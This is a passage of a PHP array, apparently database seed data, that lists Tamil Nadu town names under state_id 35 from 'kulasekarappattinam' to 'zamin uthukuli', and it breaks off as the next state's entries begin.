'name' => 'kulasekarappattinam'],\n ['state_id' => '35', 'name' => 'kulasekarapuram'],\n ['state_id' => '35', 'name' => 'kulithalai'],\n ['state_id' => '35', 'name' => 'kumarapalaiyam'],\n ['state_id' => '35', 'name' => 'kumarapalayam'],\n ['state_id' => '35', 'name' => 'kumarapuram'],\n ['state_id' => '35', 'name' => 'kumbakonam'],\n ['state_id' => '35', 'name' => 'kundrathur'],\n ['state_id' => '35', 'name' => 'kuniyamuthur'],\n ['state_id' => '35', 'name' => 'kunnathur'],\n ['state_id' => '35', 'name' => 'kunur'],\n ['state_id' => '35', 'name' => 'kuraikundu'],\n ['state_id' => '35', 'name' => 'kurichi'],\n ['state_id' => '35', 'name' => 'kurinjippadi'],\n ['state_id' => '35', 'name' => 'kurudampalaiyam'],\n ['state_id' => '35', 'name' => 'kurumbalur'],\n ['state_id' => '35', 'name' => 'kuthalam'],\n ['state_id' => '35', 'name' => 'kuthappar'],\n ['state_id' => '35', 'name' => 'kuttalam'],\n ['state_id' => '35', 'name' => 'kuttanallur'],\n ['state_id' => '35', 'name' => 'kuzhithurai'],\n ['state_id' => '35', 'name' => 'labbaikudikadu'],\n ['state_id' => '35', 'name' => 'lakkampatti'],\n ['state_id' => '35', 'name' => 'lalgudi'],\n ['state_id' => '35', 'name' => 'lalpet'],\n ['state_id' => '35', 'name' => 'llayangudi'],\n ['state_id' => '35', 'name' => 'madambakkam'],\n ['state_id' => '35', 'name' => 'madanur'],\n ['state_id' => '35', 'name' => 'madathukulam'],\n ['state_id' => '35', 'name' => 'madhavaram'],\n ['state_id' => '35', 'name' => 'madippakkam'],\n ['state_id' => '35', 'name' => 'madukkarai'],\n ['state_id' => '35', 'name' => 'madukkur'],\n ['state_id' => '35', 'name' => 'madurai'],\n ['state_id' => '35', 'name' => 'maduranthakam'],\n ['state_id' => '35', 'name' => 'maduravoyal'],\n ['state_id' => '35', 'name' => 'mahabalipuram'],\n ['state_id' => '35', 'name' => 'makkinanpatti'],\n ['state_id' => '35', 'name' => 'mallamuppampatti'],\n ['state_id' => '35', 'name' => 'mallankinaru'],\n ['state_id' => '35', 'name' => 'mallapuram'],\n ['state_id' => '35', 'name' => 'mallasamudram'],\n ['state_id' => '35', 'name' => 'mallur'],\n ['state_id' => '35', 'name' => 'mamallapuram'],\n ['state_id' => '35', 'name' => 'mamsapuram'],\n ['state_id' => '35', 'name' => 'manachanallur'],\n ['state_id' => '35', 'name' => 'manali'],\n ['state_id' => '35', 'name' => 'manalmedu'],\n ['state_id' => '35', 'name' => 'manalurpet'],\n ['state_id' => '35', 'name' => 'manamadurai'],\n ['state_id' => '35', 'name' => 'manapakkam'],\n ['state_id' => '35', 'name' => 'manapparai'],\n ['state_id' => '35', 'name' => 'manavalakurichi'],\n ['state_id' => '35', 'name' => 'mandaikadu'],\n ['state_id' => '35', 'name' => 'mandapam'],\n ['state_id' => '35', 'name' => 'mangadu'],\n ['state_id' => '35', 'name' => 'mangalam'],\n ['state_id' => '35', 'name' => 'mangalampet'],\n ['state_id' => '35', 'name' => 'manimutharu'],\n ['state_id' => '35', 'name' => 'mannargudi'],\n ['state_id' => '35', 'name' => 'mappilaiurani'],\n ['state_id' => '35', 'name' => 'maraimalai nagar'],\n ['state_id' => '35', 'name' => 'marakkanam'],\n ['state_id' => '35', 'name' => 'maramangalathupatti'],\n ['state_id' => '35', 'name' => 'marandahalli'],\n ['state_id' => '35', 'name' => 'markayankottai'],\n ['state_id' => '35', 'name' => 'marudur'],\n ['state_id' => '35', 'name' => 'marungur'],\n ['state_id' => '35', 'name' => 'masinigudi'],\n ['state_id' => '35', 'name' => 'mathigiri'],\n ['state_id' => '35', 'name' => 'mattur'],\n ['state_id' => '35', 'name' => 'mayiladuthurai'],\n ['state_id' => '35', 'name' => 'mecheri'],\n ['state_id' => '35', 'name' => 'melacheval'],\n ['state_id' => '35', 'name' => 'melachokkanathapuram'],\n ['state_id' => '35', 'name' => 'melagaram'],\n ['state_id' => '35', 'name' => 'melamadai'],\n ['state_id' => '35', 'name' => 'melamaiyur'],\n ['state_id' => '35', 'name' => 'melanattam'],\n ['state_id' => '35', 'name' => 'melathiruppanthuruthi'],\n ['state_id' => '35', 'name' => 'melattur'],\n ['state_id' => '35', 'name' => 'melmananbedu'],\n ['state_id' => '35', 'name' => 'melpattampakkam'],\n ['state_id' => '35', 'name' => 'melur'],\n ['state_id' => '35', 'name' => 'melvisharam'],\n ['state_id' => '35', 'name' => 'mettupalayam'],\n ['state_id' => '35', 'name' => 'mettur'],\n ['state_id' => '35', 'name' => 'meyyanur'],\n ['state_id' => '35', 'name' => 'milavittan'],\n ['state_id' => '35', 'name' => 'minakshipuram'],\n ['state_id' => '35', 'name' => 'minambakkam'],\n ['state_id' => '35', 'name' => 'minjur'],\n ['state_id' => '35', 'name' => 'modakurichi'],\n ['state_id' => '35', 'name' => 'mohanur'],\n ['state_id' => '35', 'name' => 'mopperipalayam'],\n ['state_id' => '35', 'name' => 'mudalur'],\n ['state_id' => '35', 'name' => 'mudichur'],\n ['state_id' => '35', 'name' => 'mudukulathur'],\n ['state_id' => '35', 'name' => 'mukasipidariyur'],\n ['state_id' => '35', 'name' => 'mukkudal'],\n ['state_id' => '35', 'name' => 'mulagumudu'],\n ['state_id' => '35', 'name' => 'mulakaraipatti'],\n ['state_id' => '35', 'name' => 'mulanur'],\n ['state_id' => '35', 'name' => 'mullakkadu'],\n ['state_id' => '35', 'name' => 'muruganpalayam'],\n ['state_id' => '35', 'name' => 'musiri'],\n ['state_id' => '35', 'name' => 'muthupet'],\n ['state_id' => '35', 'name' => 'muthur'],\n ['state_id' => '35', 'name' => 'muttayyapuram'],\n ['state_id' => '35', 'name' => 'muttupet'],\n ['state_id' => '35', 'name' => 'muvarasampettai'],\n ['state_id' => '35', 'name' => 'myladi'],\n ['state_id' => '35', 'name' => 'mylapore'],\n ['state_id' => '35', 'name' => 'nadukkuthagai'],\n ['state_id' => '35', 'name' => 'naduvattam'],\n ['state_id' => '35', 'name' => 'nagapattinam'],\n ['state_id' => '35', 'name' => 'nagavakulam'],\n ['state_id' => '35', 'name' => 'nagercoil'],\n ['state_id' => '35', 'name' => 'nagojanahalli'],\n ['state_id' => '35', 'name' => 'nallampatti'],\n ['state_id' => '35', 'name' => 'nallur'],\n ['state_id' => '35', 'name' => 'namagiripettai'],\n ['state_id' => '35', 'name' => 'namakkal'],\n ['state_id' => '35', 'name' => 'nambiyur'],\n ['state_id' => '35', 'name' => 'nambutalai'],\n ['state_id' => '35', 'name' => 'nandambakkam'],\n ['state_id' => '35', 'name' => 'nandivaram'],\n ['state_id' => '35', 'name' => 'nangavalli'],\n ['state_id' => '35', 'name' => 'nangavaram'],\n ['state_id' => '35', 'name' => 'nanguneri'],\n ['state_id' => '35', 'name' => 'nanjikottai'],\n ['state_id' => '35', 'name' => 'nannilam'],\n ['state_id' => '35', 'name' => 'naranammalpuram'],\n ['state_id' => '35', 'name' => 'naranapuram'],\n ['state_id' => '35', 'name' => 'narasimhanaickenpalayam'],\n ['state_id' => '35', 'name' => 'narasingapuram'],\n ['state_id' => '35', 'name' => 'narasojipatti'],\n ['state_id' => '35', 'name' => 'naravarikuppam'],\n ['state_id' => '35', 'name' => 'nasiyanur'],\n ['state_id' => '35', 'name' => 'natham'],\n ['state_id' => '35', 'name' => 'nathampannai'],\n ['state_id' => '35', 'name' => 'natrampalli'],\n ['state_id' => '35', 'name' => 'nattam'],\n ['state_id' => '35', 'name' => 'nattapettai'],\n ['state_id' => '35', 'name' => 'nattarasankottai'],\n ['state_id' => '35', 'name' => 'navalpattu'],\n ['state_id' => '35', 'name' => 'nazarethpettai'],\n ['state_id' => '35', 'name' => 'nazerath'],\n ['state_id' => '35', 'name' => 'neikkarapatti'],\n ['state_id' => '35', 'name' => 'neiyyur'],\n ['state_id' => '35', 'name' => 'nellikkuppam'],\n ['state_id' => '35', 'name' => 'nelliyalam'],\n ['state_id' => '35', 'name' => 'nemili'],\n ['state_id' => '35', 'name' => 'nemilicheri'],\n ['state_id' => '35', 'name' => 'neripperichal'],\n ['state_id' => '35', 'name' => 'nerkunram'],\n ['state_id' => '35', 'name' => 'nerkuppai'],\n ['state_id' => '35', 'name' => 'nerunjipettai'],\n ['state_id' => '35', 'name' => 'neykkarappatti'],\n ['state_id' => '35', 'name' => 'neyveli'],\n ['state_id' => '35', 'name' => 'nidamangalam'],\n ['state_id' => '35', 'name' => 'nilagiri'],\n ['state_id' => '35', 'name' => 'nilakkottai'],\n ['state_id' => '35', 'name' => 'nilankarai'],\n ['state_id' => '35', 'name' => 'odaipatti'],\n ['state_id' => '35', 'name' => 'odaiyakulam'],\n ['state_id' => '35', 'name' => 'oddanchatram'],\n ['state_id' => '35', 'name' => 'odugathur'],\n ['state_id' => '35', 'name' => 'oggiyamduraipakkam'],\n ['state_id' => '35', 'name' => 'olagadam'],\n ['state_id' => '35', 'name' => 'omalur'],\n ['state_id' => '35', 'name' => 'ooty'],\n ['state_id' => '35', 'name' => 'orathanadu'],\n ['state_id' => '35', 'name' => 'othakadai'],\n ['state_id' => '35', 'name' => 'othakalmandapam'],\n ['state_id' => '35', 'name' => 'ottapparai'],\n ['state_id' => '35', 'name' => 'pacode'],\n ['state_id' => '35', 'name' => 'padaividu'],\n ['state_id' => '35', 'name' => 'padianallur'],\n ['state_id' => '35', 'name' => 'padirikuppam'],\n ['state_id' => '35', 'name' => 'padmanabhapuram'],\n ['state_id' => '35', 'name' => 'padririvedu'],\n ['state_id' => '35', 'name' => 'palaganangudy'],\n ['state_id' => '35', 'name' => 'palaimpatti'],\n ['state_id' => '35', 'name' => 'palakkodu'],\n ['state_id' => '35', 'name' => 'palamedu'],\n ['state_id' => '35', 'name' => 'palani'],\n ['state_id' => '35', 'name' => 'palani chettipatti'],\n ['state_id' => '35', 'name' => 'palavakkam'],\n ['state_id' => '35', 'name' => 'palavansathu'],\n ['state_id' => '35', 'name' => 'palayakayal'],\n ['state_id' => '35', 'name' => 'palayam'],\n ['state_id' => '35', 'name' => 'palayamkottai'],\n ['state_id' => '35', 'name' => 'palladam'],\n ['state_id' => '35', 'name' => 'pallapalayam'],\n ['state_id' => '35', 'name' => 'pallapatti'],\n ['state_id' => '35', 'name' => 'pallattur'],\n ['state_id' => '35', 'name' => 'pallavaram'],\n ['state_id' => '35', 'name' => 'pallikaranai'],\n ['state_id' => '35', 'name' => 'pallikonda'],\n ['state_id' => '35', 'name' => 'pallipalaiyam'],\n ['state_id' => '35', 'name' => 'pallipalaiyam agraharam'],\n ['state_id' => '35', 'name' => 'pallipattu'],\n ['state_id' => '35', 'name' => 'pammal'],\n ['state_id' => '35', 'name' => 'panagudi'],\n ['state_id' => '35', 'name' => 'panaimarathupatti'],\n ['state_id' => '35', 'name' => 'panapakkam'],\n ['state_id' => '35', 'name' => 'panboli'],\n ['state_id' => '35', 'name' => 'pandamangalam'],\n ['state_id' => '35', 'name' => 'pannaikadu'],\n ['state_id' => '35', 'name' => 'pannaipuram'],\n ['state_id' => '35', 'name' => 'pannuratti'],\n ['state_id' => '35', 'name' => 'panruti'],\n ['state_id' => '35', 'name' => 'papanasam'],\n ['state_id' => '35', 'name' => 'pappankurichi'],\n ['state_id' => '35', 'name' => 'papparapatti'],\n ['state_id' => '35', 'name' => 'pappireddipatti'],\n ['state_id' => '35', 'name' => 'paramakkudi'],\n ['state_id' => '35', 'name' => 'paramankurichi'],\n ['state_id' => '35', 'name' => 'paramathi'],\n ['state_id' => '35', 'name' => 'parangippettai'],\n ['state_id' => '35', 'name' => 'paravai'],\n ['state_id' => '35', 'name' => 'pasur'],\n ['state_id' => '35', 'name' => 'pathamadai'],\n ['state_id' => '35', 'name' => 'pattinam'],\n ['state_id' => '35', 'name' => 'pattiviranpatti'],\n ['state_id' => '35', 'name' => 'pattukkottai'],\n ['state_id' => '35', 'name' => 'pazhugal'],\n ['state_id' => '35', 'name' => 'pennadam'],\n ['state_id' => '35', 'name' => 'pennagaram'],\n ['state_id' => '35', 'name' => 'pennathur'],\n ['state_id' => '35', 'name' => 'peraiyur'],\n ['state_id' => '35', 'name' => 'peralam'],\n ['state_id' => '35', 'name' => 'perambalur'],\n ['state_id' => '35', 'name' => 'peranamallur'],\n ['state_id' => '35', 'name' => 'peravurani'],\n ['state_id' => '35', 'name' => 'periyakodiveri'],\n ['state_id' => '35', 'name' => 'periyakulam'],\n ['state_id' => '35', 'name' => 'periyanayakkanpalaiyam'],\n ['state_id' => '35', 'name' => 'periyanegamam'],\n ['state_id' => '35', 'name' => 'periyapatti'],\n ['state_id' => '35', 'name' => 'periyasemur'],\n ['state_id' => '35', 'name' => 'pernambut'],\n ['state_id' => '35', 'name' => 'perumagalur'],\n ['state_id' => '35', 'name' => 'perumandi'],\n ['state_id' => '35', 'name' => 'perumuchi'],\n ['state_id' => '35', 'name' => 'perundurai'],\n ['state_id' => '35', 'name' => 'perungalathur'],\n ['state_id' => '35', 'name' => 'perungudi'],\n ['state_id' => '35', 'name' => 'perungulam'],\n ['state_id' => '35', 'name' => 'perur'],\n ['state_id' => '35', 'name' => 'perur chettipalaiyam'],\n ['state_id' => '35', 'name' => 'pethampalayam'],\n ['state_id' => '35', 'name' => 'pethanaickenpalayam'],\n ['state_id' => '35', 'name' => 'pillanallur'],\n ['state_id' => '35', 'name' => 'pirkankaranai'],\n ['state_id' => '35', 'name' => 'polichalur'],\n ['state_id' => '35', 'name' => 'pollachi'],\n ['state_id' => '35', 'name' => 'polur'],\n ['state_id' => '35', 'name' => 'ponmani'],\n ['state_id' => '35', 'name' => 'ponnamaravathi'],\n ['state_id' => '35', 'name' => 'ponnampatti'],\n ['state_id' => '35', 'name' => 'ponneri'],\n ['state_id' => '35', 'name' => 'porur'],\n ['state_id' => '35', 'name' => 'pothanur'],\n ['state_id' => '35', 'name' => 'pothatturpettai'],\n ['state_id' => '35', 'name' => 'pudukadai'],\n ['state_id' => '35', 'name' => 'pudukkottai cantonment'],\n ['state_id' => '35', 'name' => 'pudukottai'],\n ['state_id' => '35', 'name' => 'pudupalaiyam aghraharam'],\n ['state_id' => '35', 'name' => 'pudupalayam'],\n ['state_id' => '35', 'name' => 'pudupatti'],\n ['state_id' => '35', 'name' => 'pudupattinam'],\n ['state_id' => '35', 'name' => 'pudur'],\n ['state_id' => '35', 'name' => 'puduvayal'],\n ['state_id' => '35', 'name' => 'pulambadi'],\n ['state_id' => '35', 'name' => 'pulampatti'],\n ['state_id' => '35', 'name' => 'puliyampatti'],\n ['state_id' => '35', 'name' => 'puliyankudi'],\n ['state_id' => '35', 'name' => 'puliyur'],\n ['state_id' => '35', 'name' => 'pullampadi'],\n ['state_id' => '35', 'name' => 'puluvapatti'],\n ['state_id' => '35', 'name' => 'punamalli'],\n ['state_id' => '35', 'name' => 'punjai puliyampatti'],\n ['state_id' => '35', 'name' => 'punjai thottakurichi'],\n ['state_id' => '35', 'name' => 'punjaipugalur'],\n ['state_id' => '35', 'name' => 'puthalam'],\n ['state_id' => '35', 'name' => 'putteri'],\n ['state_id' => '35', 'name' => 'puvalur'],\n ['state_id' => '35', 'name' => 'puzhal'],\n ['state_id' => '35', 'name' => 'puzhithivakkam'],\n ['state_id' => '35', 'name' => 'rajapalayam'],\n ['state_id' => '35', 'name' => 'ramanathapuram'],\n ['state_id' => '35', 'name' => 'ramapuram'],\n ['state_id' => '35', 'name' => 'rameswaram'],\n ['state_id' => '35', 'name' => 'ranipet'],\n ['state_id' => '35', 'name' => 'rasipuram'],\n ['state_id' => '35', 'name' => 'rayagiri'],\n ['state_id' => '35', 'name' => 'rithapuram'],\n ['state_id' => '35', 'name' => 'rosalpatti'],\n ['state_id' => '35', 'name' => 'rudravathi'],\n ['state_id' => '35', 'name' => 'sadayankuppam'],\n ['state_id' => '35', 'name' => 'saint thomas mount'],\n ['state_id' => '35', 'name' => 'salangapalayam'],\n ['state_id' => '35', 'name' => 'salem'],\n ['state_id' => '35', 'name' => 'samalapuram'],\n ['state_id' => '35', 'name' => 'samathur'],\n ['state_id' => '35', 'name' => 'sambavar vadagarai'],\n ['state_id' => '35', 'name' => 'sankaramanallur'],\n ['state_id' => '35', 'name' => 'sankarankoil'],\n ['state_id' => '35', 'name' => 'sankarapuram'],\n ['state_id' => '35', 'name' => 'sankari'],\n ['state_id' => '35', 'name' => 'sankarnagar'],\n ['state_id' => '35', 'name' => 'saravanampatti'],\n ['state_id' => '35', 'name' => 'sarcarsamakulam'],\n ['state_id' => '35', 'name' => 'sathiyavijayanagaram'],\n ['state_id' => '35', 'name' => 'sathuvachari'],\n ['state_id' => '35', 'name' => 'sathyamangalam'],\n ['state_id' => '35', 'name' => 'sattankulam'],\n ['state_id' => '35', 'name' => 'sattur'],\n ['state_id' => '35', 'name' => 'sayalgudi'],\n ['state_id' => '35', 'name' => 'sayapuram'],\n ['state_id' => '35', 'name' => 'seithur'],\n ['state_id' => '35', 'name' => 'sembakkam'],\n ['state_id' => '35', 'name' => 'semmipalayam'],\n ['state_id' => '35', 'name' => 'sennirkuppam'],\n ['state_id' => '35', 'name' => 'senthamangalam'],\n ['state_id' => '35', 'name' => 'sentharapatti'],\n ['state_id' => '35', 'name' => 'senur'],\n ['state_id' => '35', 'name' => 'sethiathoppu'],\n ['state_id' => '35', 'name' => 'sevilimedu'],\n ['state_id' => '35', 'name' => 'sevugampatti'],\n ['state_id' => '35', 'name' => 'shenbakkam'],\n ['state_id' => '35', 'name' => 'shencottai'],\n ['state_id' => '35', 'name' => 'shenkottai'],\n ['state_id' => '35', 'name' => 'sholavandan'],\n ['state_id' => '35', 'name' => 'sholinganallur'],\n ['state_id' => '35', 'name' => 'sholingur'],\n ['state_id' => '35', 'name' => 'sholur'],\n ['state_id' => '35', 'name' => 'sikkarayapuram'],\n ['state_id' => '35', 'name' => 'singampuneri'],\n ['state_id' => '35', 'name' => 'singanallur'],\n ['state_id' => '35', 'name' => 'singaperumalkoil'],\n ['state_id' => '35', 'name' => 'sirapalli'],\n ['state_id' => '35', 'name' => 'sirkali'],\n ['state_id' => '35', 'name' => 'sirugamani'],\n ['state_id' => '35', 'name' => 'sirumugai'],\n ['state_id' => '35', 'name' => 'sithayankottai'],\n ['state_id' => '35', 'name' => 'sithurajapuram'],\n ['state_id' => '35', 'name' => 'sivaganga'],\n ['state_id' => '35', 'name' => 'sivagiri'],\n ['state_id' => '35', 'name' => 'sivakasi'],\n ['state_id' => '35', 'name' => 'sivanthipuram'],\n ['state_id' => '35', 'name' => 'sivur'],\n ['state_id' => '35', 'name' => 'soranjeri'],\n ['state_id' => '35', 'name' => 'south kannanur'],\n ['state_id' => '35', 'name' => 'south kodikulam'],\n ['state_id' => '35', 'name' => 'srimushnam'],\n ['state_id' => '35', 'name' => 'sriperumpudur'],\n ['state_id' => '35', 'name' => 'sriramapuram'],\n ['state_id' => '35', 'name' => 'srirangam'],\n ['state_id' => '35', 'name' => 'srivaikuntam'],\n ['state_id' => '35', 'name' => 'srivilliputtur'],\n ['state_id' => '35', 'name' => 'suchindram'],\n ['state_id' => '35', 'name' => 'suliswaranpatti'],\n ['state_id' => '35', 'name' => 'sulur'],\n ['state_id' => '35', 'name' => 'sundarapandiam'],\n ['state_id' => '35', 'name' => 'sundarapandiapuram'],\n ['state_id' => '35', 'name' => 'surampatti'],\n ['state_id' => '35', 'name' => 'surandai'],\n ['state_id' => '35', 'name' => 'suriyampalayam'],\n ['state_id' => '35', 'name' => 'swamimalai'],\n ['state_id' => '35', 'name' => 'tnpl pugalur'],\n ['state_id' => '35', 'name' => 'tambaram'],\n ['state_id' => '35', 'name' => 'taramangalam'],\n ['state_id' => '35', 'name' => 'tattayyangarpettai'],\n ['state_id' => '35', 'name' => 'tayilupatti'],\n ['state_id' => '35', 'name' => 'tenkasi'],\n ['state_id' => '35', 'name' => 'thadikombu'],\n ['state_id' => '35', 'name' => 'thakkolam'],\n ['state_id' => '35', 'name' => 'thalainayar'],\n ['state_id' => '35', 'name' => 'thalakudi'],\n ['state_id' => '35', 'name' => 'thamaraikulam'],\n ['state_id' => '35', 'name' => 'thammampatti'],\n ['state_id' => '35', 'name' => 'thanjavur'],\n ['state_id' => '35', 'name' => 'thanthoni'],\n ['state_id' => '35', 'name' => 'tharangambadi'],\n ['state_id' => '35', 'name' => 'thedavur'],\n ['state_id' => '35', 'name' => 'thenambakkam'],\n ['state_id' => '35', 'name' => 'thengampudur'],\n ['state_id' => '35', 'name' => 'theni'],\n ['state_id' => '35', 'name' => 'theni allinagaram'],\n ['state_id' => '35', 'name' => 'thenkarai'],\n ['state_id' => '35', 'name' => 'thenthamaraikulam'],\n ['state_id' => '35', 'name' => 'thenthiruperai'],\n ['state_id' => '35', 'name' => 'thesur'],\n ['state_id' => '35', 'name' => 'thevaram'],\n ['state_id' => '35', 'name' => 'thevur'],\n ['state_id' => '35', 'name' => 'thiagadurgam'],\n ['state_id' => '35', 'name' => 'thiagarajar colony'],\n ['state_id' => '35', 'name' => 'thingalnagar'],\n ['state_id' => '35', 'name' => 'thiruchirapalli'],\n ['state_id' => '35', 'name' => 'thirukarungudi'],\n ['state_id' => '35', 'name' => 'thirukazhukundram'],\n ['state_id' => '35', 'name' => 'thirumalayampalayam'],\n ['state_id' => '35', 'name' => 'thirumazhisai'],\n ['state_id' => '35', 'name' => 'thirunagar'],\n ['state_id' => '35', 'name' => 'thirunageswaram'],\n ['state_id' => '35', 'name' => 'thirunindravur'],\n ['state_id' => '35', 'name' => 'thirunirmalai'],\n ['state_id' => '35', 'name' => 'thiruparankundram'],\n ['state_id' => '35', 'name' => 'thiruparappu'],\n ['state_id' => '35', 'name' => 'thiruporur'],\n ['state_id' => '35', 'name' => 'thiruppanandal'],\n ['state_id' => '35', 'name' => 'thirupuvanam'],\n ['state_id' => '35', 'name' => 'thiruthangal'],\n ['state_id' => '35', 'name' => 'thiruthuraipundi'],\n ['state_id' => '35', 'name' => 'thiruvaivaru'],\n ['state_id' => '35', 'name' => 'thiruvalam'],\n ['state_id' => '35', 'name' => 'thiruvarur'],\n ['state_id' => '35', 'name' => 'thiruvattaru'],\n ['state_id' => '35', 'name' => 'thiruvenkatam'],\n ['state_id' => '35', 'name' => 'thiruvennainallur'],\n ['state_id' => '35', 'name' => 'thiruvithankodu'],\n ['state_id' => '35', 'name' => 'thisayanvilai'],\n ['state_id' => '35', 'name' => 'thittacheri'],\n ['state_id' => '35', 'name' => 'thondamuthur'],\n ['state_id' => '35', 'name' => 'thorapadi'],\n ['state_id' => '35', 'name' => 'thottipalayam'],\n ['state_id' => '35', 'name' => 'thottiyam'],\n ['state_id' => '35', 'name' => 'thudiyalur'],\n ['state_id' => '35', 'name' => 'thuthipattu'],\n ['state_id' => '35', 'name' => 'thuvakudi'],\n ['state_id' => '35', 'name' => 'timiri'],\n ['state_id' => '35', 'name' => 'tindivanam'],\n ['state_id' => '35', 'name' => 'tinnanur'],\n ['state_id' => '35', 'name' => 'tiruchchendur'],\n ['state_id' => '35', 'name' => 'tiruchengode'],\n ['state_id' => '35', 'name' => 'tirukkalukkundram'],\n ['state_id' => '35', 'name' => 'tirukkattuppalli'],\n ['state_id' => '35', 'name' => 'tirukkoyilur'],\n ['state_id' => '35', 'name' => 'tirumangalam'],\n ['state_id' => '35', 'name' => 'tirumullaivasal'],\n ['state_id' => '35', 'name' => 'tirumuruganpundi'],\n ['state_id' => '35', 'name' => 'tirunageswaram'],\n ['state_id' => '35', 'name' => 'tirunelveli'],\n ['state_id' => '35', 'name' => 'tirupathur'],\n ['state_id' => '35', 'name' => 'tirupattur'],\n ['state_id' => '35', 'name' => 'tiruppuvanam'],\n ['state_id' => '35', 'name' => 'tirupur'],\n ['state_id' => '35', 'name' => 'tirusulam'],\n ['state_id' => '35', 'name' => 'tiruttani'],\n ['state_id' => '35', 'name' => 'tiruvallur'],\n ['state_id' => '35', 'name' => 'tiruvannamalai'],\n ['state_id' => '35', 'name' => 'tiruverambur'],\n ['state_id' => '35', 'name' => 'tiruverkadu'],\n ['state_id' => '35', 'name' => 'tiruvethipuram'],\n ['state_id' => '35', 'name' => 'tiruvidaimarudur'],\n ['state_id' => '35', 'name' => 'tiruvottiyur'],\n ['state_id' => '35', 'name' => 'tittakudi'],\n ['state_id' => '35', 'name' => 'tondi'],\n ['state_id' => '35', 'name' => 'turaiyur'],\n ['state_id' => '35', 'name' => 'tuticorin'],\n ['state_id' => '35', 'name' => 'udagamandalam'],\n ['state_id' => '35', 'name' => 'udagamandalam valley'],\n ['state_id' => '35', 'name' => 'udankudi'],\n ['state_id' => '35', 'name' => 'udayarpalayam'],\n ['state_id' => '35', 'name' => 'udumalaipettai'],\n ['state_id' => '35', 'name' => 'udumalpet'],\n ['state_id' => '35', 'name' => 'ullur'],\n ['state_id' => '35', 'name' => 'ulundurpettai'],\n ['state_id' => '35', 'name' => 'unjalaur'],\n ['state_id' => '35', 'name' => 'unnamalaikadai'],\n ['state_id' => '35', 'name' => 'uppidamangalam'],\n ['state_id' => '35', 'name' => 'uppiliapuram'],\n ['state_id' => '35', 'name' => 'urachikkottai'],\n ['state_id' => '35', 'name' => 'urapakkam'],\n ['state_id' => '35', 'name' => 'usilampatti'],\n ['state_id' => '35', 'name' => 'uthangarai'],\n ['state_id' => '35', 'name' => 'uthayendram'],\n ['state_id' => '35', 'name' => 'uthiramerur'],\n ['state_id' => '35', 'name' => 'uthukkottai'],\n ['state_id' => '35', 'name' => 'uttamapalaiyam'],\n ['state_id' => '35', 'name' => 'uttukkuli'],\n ['state_id' => '35', 'name' => 'vadakarai kizhpadugai'],\n ['state_id' => '35', 'name' => 'vadakkanandal'],\n ['state_id' => '35', 'name' => 'vadakku valliyur'],\n ['state_id' => '35', 'name' => 'vadalur'],\n ['state_id' => '35', 'name' => 'vadamadurai'],\n ['state_id' => '35', 'name' => 'vadavalli'],\n ['state_id' => '35', 'name' => 'vadipatti'],\n ['state_id' => '35', 'name' => 'vadugapatti'],\n ['state_id' => '35', 'name' => 'vaithiswarankoil'],\n ['state_id' => '35', 'name' => 'valangaiman'],\n ['state_id' => '35', 'name' => 'valasaravakkam'],\n ['state_id' => '35', 'name' => 'valavanur'],\n ['state_id' => '35', 'name' => 'vallam'],\n ['state_id' => '35', 'name' => 'valparai'],\n ['state_id' => '35', 'name' => 'valvaithankoshtam'],\n ['state_id' => '35', 'name' => 'vanavasi'],\n ['state_id' => '35', 'name' => 'vandalur'],\n ['state_id' => '35', 'name' => 'vandavasi'],\n ['state_id' => '35', 'name' => 'vandiyur'],\n ['state_id' => '35', 'name' => 'vaniputhur'],\n ['state_id' => '35', 'name' => 'vaniyambadi'],\n ['state_id' => '35', 'name' => 'varadarajanpettai'],\n ['state_id' => '35', 'name' => 'varadharajapuram'],\n ['state_id' => '35', 'name' => 'vasudevanallur'],\n ['state_id' => '35', 'name' => 'vathirairuppu'],\n ['state_id' => '35', 'name' => 'vattalkundu'],\n ['state_id' => '35', 'name' => 'vazhapadi'],\n ['state_id' => '35', 'name' => 'vedapatti'],\n ['state_id' => '35', 'name' => 'vedaranniyam'],\n ['state_id' => '35', 'name' => 'vedasandur'],\n ['state_id' => '35', 'name' => 'velampalaiyam'],\n ['state_id' => '35', 'name' => 'velankanni'],\n ['state_id' => '35', 'name' => 'vellakinar'],\n ['state_id' => '35', 'name' => 'vellakoil'],\n ['state_id' => '35', 'name' => 'vellalapatti'],\n ['state_id' => '35', 'name' => 'vellalur'],\n ['state_id' => '35', 'name' => 'vellanur'],\n ['state_id' => '35', 'name' => 'vellimalai'],\n ['state_id' => '35', 'name' => 'vellore'],\n ['state_id' => '35', 'name' => 'vellottamparappu'],\n ['state_id' => '35', 'name' => 'velluru'],\n ['state_id' => '35', 'name' => 'vengampudur'],\n ['state_id' => '35', 'name' => 'vengathur'],\n ['state_id' => '35', 'name' => 'vengavasal'],\n ['state_id' => '35', 'name' => 'venghatur'],\n ['state_id' => '35', 'name' => 'venkarai'],\n ['state_id' => '35', 'name' => 'vennanthur'],\n ['state_id' => '35', 'name' => 'veppathur'],\n ['state_id' => '35', 'name' => 'verkilambi'],\n ['state_id' => '35', 'name' => 'vettaikaranpudur'],\n ['state_id' => '35', 'name' => 'vettavalam'],\n ['state_id' => '35', 'name' => 'vijayapuri'],\n ['state_id' => '35', 'name' => 'vikramasingapuram'],\n ['state_id' => '35', 'name' => 'vikravandi'],\n ['state_id' => '35', 'name' => 'vilangudi'],\n ['state_id' => '35', 'name' => 'vilankurichi'],\n ['state_id' => '35', 'name' => 'vilapakkam'],\n ['state_id' => '35', 'name' => 'vilathikulam'],\n ['state_id' => '35', 'name' => 'vilavur'],\n ['state_id' => '35', 'name' => 'villukuri'],\n ['state_id' => '35', 'name' => 'villupuram'],\n ['state_id' => '35', 'name' => 'viraganur'],\n ['state_id' => '35', 'name' => 'virakeralam'],\n ['state_id' => '35', 'name' => 'virakkalpudur'],\n ['state_id' => '35', 'name' => 'virapandi'],\n ['state_id' => '35', 'name' => 'virapandi cantonment'],\n ['state_id' => '35', 'name' => 'virappanchatram'],\n ['state_id' => '35', 'name' => 'viravanallur'],\n ['state_id' => '35', 'name' => 'virudambattu'],\n ['state_id' => '35', 'name' => 'virudhachalam'],\n ['state_id' => '35', 'name' => 'virudhunagar'],\n ['state_id' => '35', 'name' => 'virupakshipuram'],\n ['state_id' => '35', 'name' => 'viswanatham'],\n ['state_id' => '35', 'name' => 'vriddhachalam'],\n ['state_id' => '35', 'name' => 'walajabad'],\n ['state_id' => '35', 'name' => 'walajapet'],\n ['state_id' => '35', 'name' => 'wellington'],\n ['state_id' => '35', 'name' => 'yercaud'],\n ['state_id' => '35', 'name' => 'zamin uthukuli'],\n ['state_id' => '36', 'name' => 'achampet'],\n ['state_id' => '36', 'name' => 